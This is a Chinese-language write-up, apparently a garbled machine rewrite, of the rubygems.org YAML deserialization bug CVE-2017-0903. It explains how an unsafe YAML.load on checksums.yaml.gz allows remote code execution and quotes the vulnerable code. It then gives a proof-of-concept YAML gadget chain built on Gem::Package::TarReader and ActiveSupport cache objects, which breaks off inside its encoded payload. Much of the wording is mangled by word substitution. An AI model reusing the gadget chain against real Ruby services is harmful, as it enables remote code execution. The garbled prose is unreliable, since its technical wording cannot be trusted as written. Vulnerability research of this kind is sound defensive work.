rubygems.org是今朝一个异常流行的ruby依附库托管办事,而本文所先容的技巧将经由过程rubygems.org上的一个反序列化漏洞破绽bug来实现长途代码履行。不外在本文发稿以前,该漏洞破绽bug(CVE-2017-0903)已经被胜利修复,详细信息请参考民间颁发的申明文件。
假如你以前已经开辟过ruby应用法式的话,你极可能已经应用过rubygems.org的办事了。固然了,作为社区中的一个热点ruby依附托管办事,你肯定会相信该网站在你盘算机中所运转的任何法式,否则你也不会抉择rubygems.org啦!然则,比如说当你运转敕令gem install rails时,gem对象会从rubygems.org获得rails对象源码及其响应的依附组件,而后主动将一切组件全体装置安排好。但必要留意的是,任何人在注册了一个rubygems.org账号以后,都能够宣布gems法式。
漏洞破绽bug阐发
Ruby gems实际上便是tar紧缩文件,以是运转完tar -xvf foo.gem敕令以后,你将会获得上面这三种文件:
metadata.gz
data.tar.gz
checksums.yaml.gz
这些文件都是gzip紧缩文件。metadata.gz中包含一个YAML文件,此中存储了跟gem相干的信息,比方对象称号、开辟者信息和版本号等等。data.tar.gz中包含的是另一个存储了对象完备源代码的tar紧缩文档。checksums.yaml.gz中异样包含了一个YAML文件,而这个YAML文件中存储的是gem内容的加密哈希。
在此以前,我不停都不晓得“剖析不受相信的YAML文件”这类行动是异常风险的,因为我不停觉得它跟JSON异样是一种良性的数据互换格局。实际上,YAML容许咱们对随意率性对象停止编码,它跟Python的pickle异常类似。
当你向rubygems.org上传一个gem以后,应用法式会挪用Gem::Package.new(body).spec,而rubygems gem(领有上述办法)会应用一种不网安的办法来挪用YAML.load,并在gem中加载YAML文件。
然则,rubygems.org的开辟职员是晓得这一点的(极可能是因为这一次【变乱】才晓得的)。在2013年,开辟职员曾测验考试修复过这个成绩(monkey-patching),并让YAML和gem剖析库只容许接收白名单列表中规定的数据范例,并且在2015年rubygems.org乃至开端应用Psych.safe_load了。
可怜的是,monkey-patching基本就没有用果,因为它之修复了Gem::Specification#from_yaml办法。假如咱们真的弄清楚了#spec办法在挪用过程当中所发生的工作,咱们就会发明它还会挪用#verify办法,此中最重要的部门以以下代码所示:
# ...
@gem.with_read_io do |io|
Gem::Package::TarReader.new io do |reader|
read_checksums reader
verify_files reader
end
end
verify_checksums @digests, @checksums
# ...
#read_checksums办法的相干代码以下所示:
# ...
Gem.load_yaml
@checksums = gem.seek 'checksums.yaml.gz' do |entry|
Zlib::GzipReader.wrap entry do |gz_io|
YAML.load gz_io.read # oops
end
end
# ...
异常好,接下来咱们就能够用咱们所能节制的输出数据来挪用YAML.load了。然则,咱们若何应用这个漏洞破绽bug呢?一开端,我曾测验考试在YAML.load挪用其自己的时刻来运转我自己的漏洞破绽bug应用代码,然则实现这个的难度远远比我设想的要困可贵多,固然我能够对随意率性对象停止反序列化操纵,但我真正能够或许对这些对象所做的操纵和我所能挪用的办法实际上是极端无限的。rubygems.org所应用的YAML剖析库Psych只容许我挪用比方#[]=,#init_with和#marshal_load之类的办法。这里的#marshal_load并非Marshal.load,假如是Marshal.load的话那可就简略多了。然则对付绝大多数对象来讲,这些办法并不能给入侵攻击者供给多大的灵活性,因为这些对象的罕见办法一样平常都是初始化一些变量而后前往一些值。也有人说某些尺度rails库中的对象领有风险的#[]=办法,然则我并无找到。
因而接下来,我又转头开端阐发rubygems.org应用法式,我想要肯定它会将@checksums变量用在哪里,咱们能够在任何类中设置一个相干实例吗?#verify_checksums的相干代码以下所示:
# ...
checksums.sort.each do |algorithm, gem_digests|
gem_digests.sort.each do |file_name, gem_hexdigest|
computed_digest = digests[algorithm][file_name]
# ...
以是,假如咱们能够或许构建一个歹意对象并测验考试挪用#sort办法的话,咱们就能够应用该漏洞破绽bug来做一些风险的工作了。终极,我筹划了以下所示的PoC。此中,有用的入侵攻击Payload包含在base-64编码的代码当中,但我的PoC代码只会在敕令行界面中输出字符串“opps”:
SHA1: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Gem::Package::TarReader::Entry
closed: false
header: 'foo'
read: 0
io: !ruby/object:ActiveSupport::Cache::MemoryStore
options: {}
monitor: !ruby/object:ActiveSupport::Cache::Strategy::LocalCache::LocalStore
registry: {}
key_access: {}
data:
'3': !ruby/object:ActiveSupport::Cache::Entry
compressed: true
value: !binary '\
eJx1jrsKAjEQRbeQNT4QwQ9Q8hlTRXGL7UTFemMysIGYCZNZ0b/XYsHK8nIO\
nDtRBGbvJDzxMuRMLABHzIzOSqD0G+jbVMQmhzfLwd4jnphebwUrE0ZAoJrz\